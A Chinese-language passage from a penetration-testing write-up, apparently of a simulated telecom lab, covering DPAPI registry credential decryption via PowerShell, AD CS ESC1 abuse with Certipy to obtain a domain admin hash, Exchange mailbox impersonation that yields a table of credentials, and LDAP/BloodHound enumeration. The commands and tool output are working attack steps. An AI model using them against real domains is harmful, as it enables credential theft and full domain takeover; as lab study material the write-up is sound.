七、主机凭据解密与二次提权

7.1 DPAPI 注册表凭据提取

法一:手动找安装的应用

我习惯先看 Program Files 文件夹,其中 TelecomApp 令人格外注意

于是使用 reg 命令手动查询注册表配置:

Windows 建议开发者将系统级配置存放在: HKEY_LOCAL_MACHINE\SOFTWARE\<VendorName>\<AppName>

PS C:\Program Files\TelecomApp> reg query HKEY_LOCAL_MACHINE\SOFTWARE\TelecomApp

HKEY_LOCAL_MACHINE\SOFTWARE\TelecomApp
    UserName    REG_SZ    tel_admin01@telecore.ad
    EncryptedPassword    REG_SZ    AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAOUxfpmwAV0WYASgF0p7AyQQAAAACAAAAAAAQZgAAAAEAACAAAACfRzkiyK0ji3RdkhsaKqqDYsIEjHcf4KqabRvSSLhlYgAAAAAOgAAAAAIAACAAAABEfkfJYtEx/l+8wBsNz9HAw1AJmQNS+us4XMqhU8eGFRAAAAD/q61IY4NbDaBrnEWiK2H4QAAAAK7m74B/E53IMZ/KZpmnDvmJb4oix61AGSZ4vefPou1ZcHRdaR75WJs6PBR7H6/yBz9sn2thUhkCiJar8JSWVKw=
bash5 行

发现存储了加密的用户凭据这些数据使用 Windows DPAPI (Data Protection API) 进行保护。 由于加密采用了 LocalMachine 范围,且我们已具备服务器本地执行权限,可直接利用 PowerShell 调用 .NET 库进行解密:

PS C:\Program Files\TelecomApp> Get-ItemProperty "HKLM:\SOFTWARE\TelecomApp" | ForEach-Object { $_.PSObject.Properties | Where-Object { $_.Value -match '^AQAAAN' } | ForEach-Object { Write-Host "$($_.Name):" -NoNewline; [System.Text.Encoding]::ASCII.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($_.Value), $null, 'LocalMachine')) } }
T3l@Com#1
bash2 行

解密结果:

  • 用户: tel_admin01@telecore.ad
  • 密码: T3l@Com#1

​

法二:自动化工具探测

如果你觉得法一不容易发现,也可以利用 SharpDPAPI 工具快速检索系统中存储的所有 DPAPI 敏感项

如上,确认了该加密项的存在,然后再手动解密即可。

7.2 AD CS 证书服务漏洞利用(ESC1)

与路径一类似,也可以打 AD CS 的ESC1

​

  1. 枚举漏洞:
  1. 尝试针对 Badges模板申请管理员证书:
❯ certipy-ad req -u tel_admin01 -p 'T3l@Com#1' -target 10.5.2.8 -ca 'telecore-PKI-SRV-CA' -template Badges -upn 'administrator@telecore.ad'  -sid 'S-1-5-21-1588247407-410625039-1511794522-500'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 22
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@telecore.ad'
[*] Certificate object SID is 'S-1-5-21-1588247407-410625039-1511794522-500'
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'
bash11 行
  1. 利用获取的 .pfx 换取域管 Hash
❯ certipy-ad auth -pfx administrator.pfx -dc-ip 10.5.2.2
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@telecore.ad'
[*]     SAN URL SID: 'S-1-5-21-1588247407-410625039-1511794522-500'
[*]     Security Extension SID: 'S-1-5-21-1588247407-410625039-1511794522-500'
[*] Using principal: 'administrator@telecore.ad'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@telecore.ad': aad3b435b51404eeaad3b435b51404ee:bfb19bca32a6aab8e0b9a836da860e32
bash15 行

成功拿下域管!

八、Exchange 邮件系统渗透

8.1 邮件委派利用

目前我们只差 Exchange 服务器 (10.5.2.16) 没有拿下。还记得刚刚域控上发现的 powershell 脚本吗,其中包含 tel_ops1 的账号密码。参照官方 wp ,我们可以进行 ApplicationImpersonation (应用模拟) 攻击,尝试用普通账户 tel_ops1 模拟访问域管理员 administrator 的邮箱,批量提取目标邮箱的收件箱、发件箱、草稿箱内容。

以下是官方脚本:

image.png

发现大量敏感信息,汇总如下:

资产类型 目标地址/服务 账号/用户名 密码
生产计费数据库 sqlprod-01.telecore.ad Billing_Prod billing_prod_user SqlB1lling@2024!
营销 FTP 服务器 ftp.globalblast.telecore.ad (未完整显示,但已发出) (未完整显示,但已发出)
核心路由器 juniper-core-01.telecore.ad netadmin_jnpr Juniper$CorePass2024!
现场工程师 VPN vpn.telecore.ad field_engineer_vpn F1eldVPN@ccess$2024 PSK: TelecomSecurePSK#2024

一句话总结:
管理员邮箱中泄露了生产数据库、营销 FTP、核心路由器和现场 VPN 的高危凭证。

至此,整个域渗透完毕。

​

九、高级 LDAP 枚举

打完整个域,发现并没有涉及到 ACE 权限关系利用,但我仍旧做了相应的枚举,这里记录几种方法。

❯ ldapdomaindump 10.5.2.2 -u 'telecore.ad\administrator' -p 'August1990password' -o ./domain_dump
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
bash6 行
  1. bloodhound

这里远程猎犬抓取不了,只能用本地 sharphound 去抓

./sharphound.exe -c all
bash1 行

​

image.png

总结

通过本次对大型电信内网环境的模拟渗透, 我学到了不少东西:

  • dns进行内网测绘是一个挺值得研究的点
  • 关注证书服务器/域控服务器的真实场景分布
  • 深入研究了 ESXI 的利用手法
  • 浅浅学习了 iis 的反序列化打法
  • exchange 服务模拟权限窃取信息

原文 https://xz.aliyun.com/news/91144